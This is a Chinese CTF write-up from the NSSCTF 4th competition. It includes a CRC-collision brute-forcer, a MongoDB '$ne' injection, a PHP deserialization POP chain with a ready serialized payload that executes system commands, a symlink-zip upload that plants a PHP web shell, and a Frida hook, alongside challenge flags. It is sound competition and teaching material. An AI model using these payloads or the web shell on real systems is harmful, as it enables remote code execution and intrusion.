NSSCTF 4th OnePanda战队 wp

NSSCTF 4th OnePanda战队 wp

Web

EzCRC

php 复制代码
<?php

// function compute_crc16($data) {
//     $checksum = 0xFFFF;
//     for ($i = 0; $i < strlen($data); $i++) {
//         $checksum ^= ord($data[$i]);
//         for ($j = 0; $j < 8; $j++) {
//             if ($checksum & 1) {
//                 $checksum = (($checksum >> 1) ^ 0xA001);
//             } else {
//                 $checksum >>= 1;
//             }
//         }
//     }
//     return $checksum;
// }

// function calculate_crc8($input) {
//     static $crc8_table = [
//         0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
//         0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
//         0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
//         0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
//         0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
//         0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
//         0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
//         0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
//         0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
//         0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
//         0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
//         0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
//         0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
//         0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
//         0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
//         0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
//         0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
//         0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
//         0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
//         0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
//         0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
//         0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
//         0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
//         0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
//         0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
//         0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
//         0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
//         0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
//         0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
//         0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
//         0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
//         0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
//     ];

//     $bytes = unpack('C*', $input);
//     $length = count($bytes);
//     $crc = 0;
//     for ($k = 1; $k <= $length; $k++) {
//         $crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
//     }
//     return $crc & 0xff;
// }
// $SECRET_PASS = "Enj0yNSSCTF4th!";
// $correct_pass_crc16 = compute_crc16($SECRET_PASS);
// var_dump($correct_pass_crc16);
// $correct_pass_crc8 = calculate_crc8($SECRET_PASS);
// var_dump($correct_pass_crc8);
// 1. 复制原代码中的CRC计算函数(确保与目标环境一致)
function compute_crc16($data) {
    $checksum = 0xFFFF;
    for ($i = 0; $i < strlen($data); $i++) {
        $checksum ^= ord($data[$i]);
        for ($j = 0; $j < 8; $j++) {
            if ($checksum & 1) {
                $checksum = (($checksum >> 1) ^ 0xA001);
            } else {
                $checksum >>= 1;
            }
        }
    }
    return $checksum;
}

function calculate_crc8($input) {
    static $crc8_table = [
        0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15,
        0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D,
        0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65,
        0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D,
        0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5,
        0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD,
        0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85,
        0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD,
        0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2,
        0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA,
        0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2,
        0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A,
        0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32,
        0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A,
        0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42,
        0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A,
        0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C,
        0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4,
        0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC,
        0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4,
        0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C,
        0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44,
        0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C,
        0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34,
        0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B,
        0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63,
        0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B,
        0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13,
        0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB,
        0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83,
        0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB,
        0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3
    ];

    $bytes = unpack('C*', $input);
    $length = count($bytes);
    $crc = 0;
    for ($k = 1; $k <= $length; $k++) {
        $crc = $crc8_table[($crc ^ $bytes[$k]) & 0xff];
    }
    return $crc & 0xff;
}

$original_pass = "Enj0yNSSCTF4th!";
$target_crc16 = 17262;
$target_crc8 = 163;
$length = strlen($original_pass);

echo "开始爆破...\n";
echo "目标长度: $length\n";
echo "目标CRC16: $target_crc16\n";
echo "目标CRC8: $target_crc8\n\n";

// 生成所有可能的字符组合
$chars = array_merge(
    range('0', '9'),
    range('a', 'z'),
    range('A', 'Z'),
    ['!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '=', '+', '[', ']', '{', '}', ';', ':', ',', '.', '<', '>', '/', '?', '|', '\\']
);

$found = false;
$attempts = 0;
$start_time = microtime(true);

// 使用随机尝试方法,因为暴力破解所有组合计算量太大
while (!$found) {
    $attempts++;
    
    // 生成随机字符串
    $candidate = '';
    for ($i = 0; $i < $length; $i++) {
        $candidate .= $chars[array_rand($chars)];
    }
    
    // 跳过原始密码
    if ($candidate === $original_pass) {
        continue;
    }
    
    // 计算CRC值
    $crc16 = compute_crc16($candidate);
    $crc8 = calculate_crc8($candidate);
    
    if ($attempts % 10000 === 0) {
        echo "已尝试: $attempts 次, 最新候选: $candidate\n";
    }
    
    if ($crc16 === $target_crc16 && $crc8 === $target_crc8) {
        $found = true;
        $end_time = microtime(true);
        $elapsed = $end_time - $start_time;
        
        echo "\n成功找到碰撞!\n";
        echo "候选字符串: $candidate\n";
        echo "CRC16: $crc16\n";
        echo "CRC8: $crc8\n";
        echo "尝试次数: $attempts\n";
        echo "耗时: " . round($elapsed, 2) . " 秒\n";
        
        // 验证
        echo "\n验证:\n";
        echo "原始密码: $original_pass\n";
        echo "碰撞密码: $candidate\n";
        echo "是否相同: " . ($original_pass === $candidate ? "是" : "否") . "\n";
        break;
    }
}

if (!$found) {
    echo "未找到碰撞,请增加尝试次数或调整策略。\n";
}
?>

ez_signin

这是一题mongoDB查询注入的题目

直接改为json格式

json 复制代码
{
  "title": {"$ne": ""}
}

[mpga]filesystem

源码如下

php 复制代码
<?php

class ApplicationContext{
    public $contextName; 

    public function __construct(){
        $this->contextName = 'ApplicationContext';
    }

    public function __destruct(){
        $this->contextName = strtolower($this->contextName);
    }
}

class ContentProcessor{
    private $processedContent; 
    public $callbackFunction;   

    public function __construct(){
    
        $this->processedContent = new FunctionInvoker();
    }

    public function __get($key){
        
        if (property_exists($this, $key)) {
            if (is_object($this->$key) && is_string($this->callbackFunction)) {
                
                $this->$key->{$this->callbackFunction}($_POST['cmd']);
            }
        }
    }
}

class FileManager{
    public $targetFile; 
    public $responseData = 'default_response'; 

    public function __construct($targetFile = null){
        $this->targetFile = $targetFile;
    }

    public function filterPath(){ 
        
        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->targetFile)){
            die('文件路径不符合规范');
        }
    }

    public function performWriteOperation($var){ 
        
        $targetObject = $this->targetFile; 
        $value = $targetObject->$var; 
    }

    public function getFileHash(){ 
        $this->filterPath(); 

        if (is_string($this->targetFile)) {
            if (file_exists($this->targetFile)) {
                $md5_hash = md5_file($this->targetFile);
                return "文件MD5哈希: " . htmlspecialchars($md5_hash);
            } else {
                die("文件未找到");
            }
        } else if (is_object($this->targetFile)) {
            try {
                
                $md5_hash = md5_file($this->targetFile);
                return "文件MD5哈希 (尝试): " . htmlspecialchars($md5_hash);
            } catch (TypeError $e) {
                
                
                return "无法计算MD5哈希,因为文件参数无效: " . htmlspecialchars($e->getMessage());
            }
        } else {
            die("文件未找到");
        }
    }

    public function __toString(){
        if (isset($_POST['method']) && method_exists($this, $_POST['method'])) {
            $method = $_POST['method'];
            $var = isset($_POST['var']) ? $_POST['var'] : null;
            $this->$method($var); 
        }
        return $this->responseData;
    }
}

class FunctionInvoker{
    public $functionName; 
    public $functionArguments; 
    public function __call($name, $arg){
        
        if (function_exists($name)) {
            $name($arg[0]); 
        }
    }
}

$action = isset($_GET['action']) ? $_GET['action'] : 'home';
$output = ''; 
$upload_dir = "upload/";

if (!is_dir($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

if ($action === 'upload_file') { 
    if(isset($_POST['submit'])){
        if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == UPLOAD_ERR_OK) {
            $allowed_extensions = ['txt', 'png', 'gif', 'jpg'];
            $file_info = pathinfo($_FILES['upload_file']['name']);
            $file_extension = strtolower(isset($file_info['extension']) ? $file_info['extension'] : '');

            if (!in_array($file_extension, $allowed_extensions)) {
                $output = "<p class='text-red-600'>不允许的文件类型。只允许 txt, png, gif, jpg。</p>";
            } else {
                
                $unique_filename = md5(time() . $_FILES['upload_file']['name']) . '.' . $file_extension;
                $upload_path = $upload_dir . $unique_filename;
                $temp_file = $_FILES['upload_file']['tmp_name'];

                if (move_uploaded_file($temp_file, $upload_path)) {
                    $output = "<p class='text-green-600'>文件上传成功!</p>";
                    $output .= "<p class='text-gray-700'>文件路径:<code class='bg-gray-200 p-1 rounded'>" . htmlspecialchars($upload_path) . "</code></p>";
                } else {
                    $output = "<p class='text-red-600'>上传失败!</p>";
                }
            }
        } else {
            $output = "<p class='text-red-600'>请选择一个文件上传。</p>";
        }
    }
}

if ($action === 'home' && isset($_POST['submit_md5'])) {
    $filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';

    if (!empty($filename_param)) {
        $file_object = @unserialize($filename_param);
        if ($file_object === false || !($file_object instanceof FileManager)) {
            $file_object = new FileManager($filename_param);
        }
        $output = $file_object->getFileHash();
    } else {
        $output = "<p class='text-gray-600'>请输入文件路径进行MD5校验。</p>";
    }
}

?>
<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>文件管理系统</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Inter', sans-serif;
        }
    </style>
</head>
<body class="bg-gray-100 flex items-center justify-center min-h-screen px-4 py-8">
    <div class="bg-white p-6 md:p-8 rounded-lg shadow-md w-full max-w-4xl mx-auto">
        <h1 class="text-3xl font-bold mb-6 text-gray-800 text-center">文件管理系统</h1>

        <div class="flex justify-center mb-6 space-x-4">
            <a href="?action=home" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'home' ? 'bg-indigo-600 text-white' : 'bg-indigo-100 text-indigo-800 hover:bg-indigo-200'; ?>">主页</a>
            <a href="?action=upload_file" class="py-2 px-4 rounded-lg font-semibold <?php echo $action === 'upload_file' ? 'bg-blue-600 text-white' : 'bg-blue-100 text-blue-800 hover:bg-blue-200'; ?>">上传文件</a>
        </div>

        <?php if ($action === 'home'): ?>
            <div class="text-center">
                <p class="text-lg text-gray-700 mb-4">欢迎使用文件管理系统。</p>
                <p class="text-sm text-gray-500 mb-6">
                    为了确保文件一致性和完整性,请在下载前校验md5值,完成下载后进行对比。
                </p>

                <h2 class="text-2xl font-bold mb-4 text-gray-800">文件列表</h2>
                <div class="max-h-60 overflow-y-auto border border-gray-200 rounded-lg p-2 bg-gray-50">
                    <?php
                    $files = array_diff(scandir($upload_dir), array('.', '..'));
                    if (empty($files)) {
                        echo "<p class='text-gray-500'>暂无文件。</p>";
                    } else {
                        echo "<ul class='text-left space-y-2'>";
                        foreach ($files as $file) {
                            $file_path = $upload_dir . $file;
                            echo "<li class='flex items-center justify-between p-2 bg-white rounded-md shadow-sm'>";
                            echo "<span class='text-gray-700 break-all mr-2'>" . htmlspecialchars($file) . "</span>";
                            echo "<div class='flex space-x-2'>";
                            echo "<a href='" . htmlspecialchars($file_path) . "' download class='bg-blue-500 hover:bg-blue-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>下载</a>";
                            echo "<form action='?action=home' method='POST' class='inline-block'>";
                            echo "<input type='hidden' name='file_to_check' value='" . htmlspecialchars($file_path) . "'>"; 
                            echo "<button type='submit' name='submit_md5' class='bg-purple-500 hover:bg-purple-600 text-white text-xs py-1 px-2 rounded-lg transition duration-300 ease-in-out'>校验MD5</button>"; 
                            echo "</form>";
                            echo "</div>";
                            echo "</li>";
                        }
                        echo "</ul>";
                    }
                    ?>
                </div>

                <?php if (!empty($output)): ?>
                    <div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg">
                        <h3 class="lg font-semibold mb-2 text-gray-800">校验结果:</h3>
                        <?php echo $output; ?>
                    </div>
                <?php endif; ?>
            </div>
        <?php elseif ($action === 'upload_file'): ?>
            <h2 class="text-2xl font-bold mb-4 text-gray-800 text-center">上传文件</h2>
            <form action="?action=upload_file" method="POST" enctype="multipart/form-data" class="space-y-4">
                <label for="upload_file" class="block text-gray-700 text-sm font-bold mb-2">选择文件:</label>
                <input type="file" name="upload_file" id="upload_file" class="block w-full text-sm text-gray-900 border border-gray-300 rounded-lg cursor-pointer bg-gray-50 focus:outline-none">
                <button type="submit" name="submit" class="w-full bg-blue-500 hover:bg-blue-600 text-white font-semibold py-2 px-4 rounded-lg transition duration-300 ease-in-out">
                    上传
                </button>
            </form>
            <?php if (!empty($output)): ?>
                <div class="mt-6 p-4 bg-gray-50 border border-gray-200 rounded-lg">
                    <h3 class="text-lg font-semibold mb-2 text-gray-800">上传结果:</h3>
                    <?php echo $output; ?>
                </div>
            <?php endif; ?>
            <p class="mt-6 text-center text-sm text-gray-500">
                只允许上传 .txt, .png, .gif, .jpg 文件。
            </p>
        <?php endif; ?>
    </div>
</body>
</html>

先寻找反序列化入口点

在home动作中,处理MD5校验的代码

php 复制代码
$filename_param = isset($_POST['file_to_check']) ? $_POST['file_to_check'] : '';
// ...
$file_object = @unserialize($filename_param); // <-- 反序列化用户输入
if ($file_object === false || !($file_object instanceof FileManager)) {
    $file_object = new FileManager($filename_param);
}

这里直接对用户输入的 file_to_check参数进行了反序列化。如果反序列化成功且对象是 FileManager实例,则使用反序列化后的对象;否则,将输入作为字符串创建新的 FileManager对象。

关键点: 用户可以通过POST参数 file_to_check传入一个序列化字符串,程序会对其进行反序列化。这构成了一个反序列化漏洞。

寻找POP链(Property-Oriented Programming)

我们需要利用反序列化漏洞,通过精心构造的对象链(POP链)调用危险函数。分析各个类的魔法方法:

  • ApplicationContext : 有 __destruct方法,但只是简单操作属性,似乎没有直接利用点。

  • ContentProcessor : 有 __get方法。当访问一个不存在的或不可访问的属性时,会触发此方法。

  • FileManager : 有 __toString方法。当对象被当作字符串使用时触发(例如在 echo或字符串拼接时)。还有 performWriteOperation方法,其中存在动态调用 $targetObject->$var

  • FunctionInvoker : 有 __call方法。当调用一个不存在或不可访问的方法时触发。

php 复制代码
<?php

class ApplicationContext{
    public $contextName; 
    public function __construct(){
        $this->contextName = 'ApplicationContext';
    }
}

class ContentProcessor{
    private $processedContent; 
    public $callbackFunction;   
    public function __construct($pc, $cf){
        $this->processedContent = $pc;
        $this->callbackFunction = $cf;
    }
}

class FileManager{
    public $targetFile; 
    public $responseData = 'default_response'; 
    public function __construct($tf, $rd){
        $this->targetFile = $tf;
        $this->responseData = $rd;
    }
}

class FunctionInvoker{
    public $functionName; 
    public $functionArguments; 
}

// 构造链
$fi = new FunctionInvoker(); // FunctionInvoker对象,用于最终执行命令

$cp = new ContentProcessor($fi, "system"); // ContentProcessor对象,设置callbackFunction为system,processedContent为$fi

$obj1 = new FileManager($cp, "anything"); // FileManager对象,targetFile为$cp,responseData任意

$obj2 = new FileManager($obj1, $obj1); // 外层FileManager,targetFile为$obj1,responseData为$obj1(为了触发__toString)

echo urlencode(serialize($obj2));

?>

抓取校验MD5的包改为

复制代码
file_to_check=O%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A11%3A%22FileManager%22%3A2%3A%7Bs%3A10%3A%22targetFile%22%3BO%3A16%3A%22ContentProcessor%22%3A2%3A%7Bs%3A34%3A%22%00ContentProcessor%00processedContent%22%3BO%3A15%3A%22FunctionInvoker%22%3A2%3A%7Bs%3A12%3A%22functionName%22%3BN%3Bs%3A17%3A%22functionArguments%22%3BN%3B%7Ds%3A16%3A%22callbackFunction%22%3Bs%3A6%3A%22system%22%3B%7Ds%3A12%3A%22responseData%22%3Bs%3A8%3A%22anything%22%3B%7Ds%3A12%3A%22responseData%22%3Br%3A2%3B%7D&submit_md5=&method=performWriteOperation&var=processedContent&cmd=cat+/flag

ez_upload

这题打法其实跟2023国赛ciscn的unzip做法是差不多的

先创建一个软连接test

这是其中一个test1.zip

再做test2.zip

复制代码
rm -f test; mkdir -p test
cat > test/shell.php <<'PHP'
<?php
if (isset($_GET['cmd'])) { system($_GET['cmd']); }
PHP

再进行

然后上传test2.zip

同时访问/shell.php?cmd=cat /f*

MOBILE

我是谁?!

发现是一个apk,于是先拖到安卓模拟器里运行

注册登录后发现这样一个窗口,于是拖到jadx里反编译一下,搜索一下onclick

看到几个确定和关闭的按钮,猜测是刚才显示交互的那个弹窗相关的逻辑,点进去

一并看一下MainActivity

导出源代码

这里m55lambda$onCreate$0$comexamplenss_4thmessagesMainActivity方法是用户账号检验权限

PR.java中showCND(高权限用户 Flag 展示)、stringFromJNI(Native 层 Flag 获取)、showMultiDialogs(低权限用户消息展示)和SelectUsers.java中priv(根据账号查询权限等级,返回整数结果)

应用的核心逻辑是 "账号权限决定展示内容",完整流程可分为三个关键步骤:

  1. 账号有效性校验 :在MainActivitym55lambda$onCreate$0$comexamplenss_4thmessagesMainActivity方法中,首先判断userAccount是否为空。若为空,弹出 "未获取到用户账号" 的 Toast 提示并终止流程;若账号有效,则进入权限查询环节。

  2. 数据库权限查询 :通过new SelectUsers()创建数据库操作实例,调用priv(userAccount)方法查询当前账号的权限等级。该方法返回整数结果,其中result=1代表高权限,非 1 代表低权限。

  3. 根据权限展示内容:

    • 高权限(result=1):调用PR.showCND(this),触发 Flag 展示逻辑;

    • 低权限(result≠1):调用PR.showMultiDialogs(this, messages),仅展示普通消息列表,无 Flag 相关内容。

由于 Flag 存储在 Native 层,但stringFromJNIPR类的公共方法,无需复杂的权限绕过或数据库篡改,直接通过动态插桩工具 Hook 该方法即可获取返回值。选用Frida作为插桩工具,原因在于其无需修改应用代码、支持动态注入、开发效率高,适合快速获取 JNI 方法返回值。

java 复制代码
Java.perform(function () {
    // 1. 加载PR类
    var PRClass = Java.use('com.example.nss_4th.ad.PR');
    try {
        // 2. 创建PR实例(因stringFromJNI为实例方法,需实例化调用)
        var prInstance = PRClass.$new();
        // 3. 调用JNI方法获取Flag并打印
        var flag = prInstance.stringFromJNI();
        console.log("[+] 成功获取Flag:", flag);
    } catch (e) {
        // 4. 异常捕获,输出错误信息
        console.log("[-] 获取Flag失败,错误信息:", e.message);
    }
});

NSSCTF{Y3s!NSS_hAs_r34ched_iTs_4th_5nNiv4rsar9}

RE

checkit

下载下来发现是一个 apk,先用安卓模拟器打开看看怎么回事

发现是按钮交互,于是去 jdax 里搜按钮相关内容

找到了这样的一段代码

看内容有 input 有 result,并且是 MainActivity,猜测是核心代码

这里说明核心逻辑在 libcheck.so 里,把 apk 解压开找一下

为了方便 ida 的反编译,这里用 x86_64 的文件,拖到 ida 里,直接从字符串里找核心部分

猜测是这一段,直接点进去,跳转,然后反编译,怎么看怎么像核心逻辑

读完之后发现是一个 VM 字节码程序,把 code[]和 cmp_data 数组里的东西导出一下,写一

个解码程序就行了

Flag 为 NSSCTF{C0ngr@tulation!Y0N_s33m_7o_b3_gO0d_@t_vm!!}

CrackMe&F***Me

先运行一下

扔到 exeinfo pe 里,发现一切正常,用 DIE 查一下

发现是用 python 写的,尝试用 pyinstxtractor 解包

内容缺失,于是直接用 ida 打开,但是从 string 里搜不到我们刚才运行时的字符串

这里负责读入各个包

这里来判断压缩包

接下来进入到 sub_7FF6D11011F0()里

这里找到了 magic number,往上找可以找到解压逻辑

写解压代码

成功解压

反编译一下

写解密代码,破解成功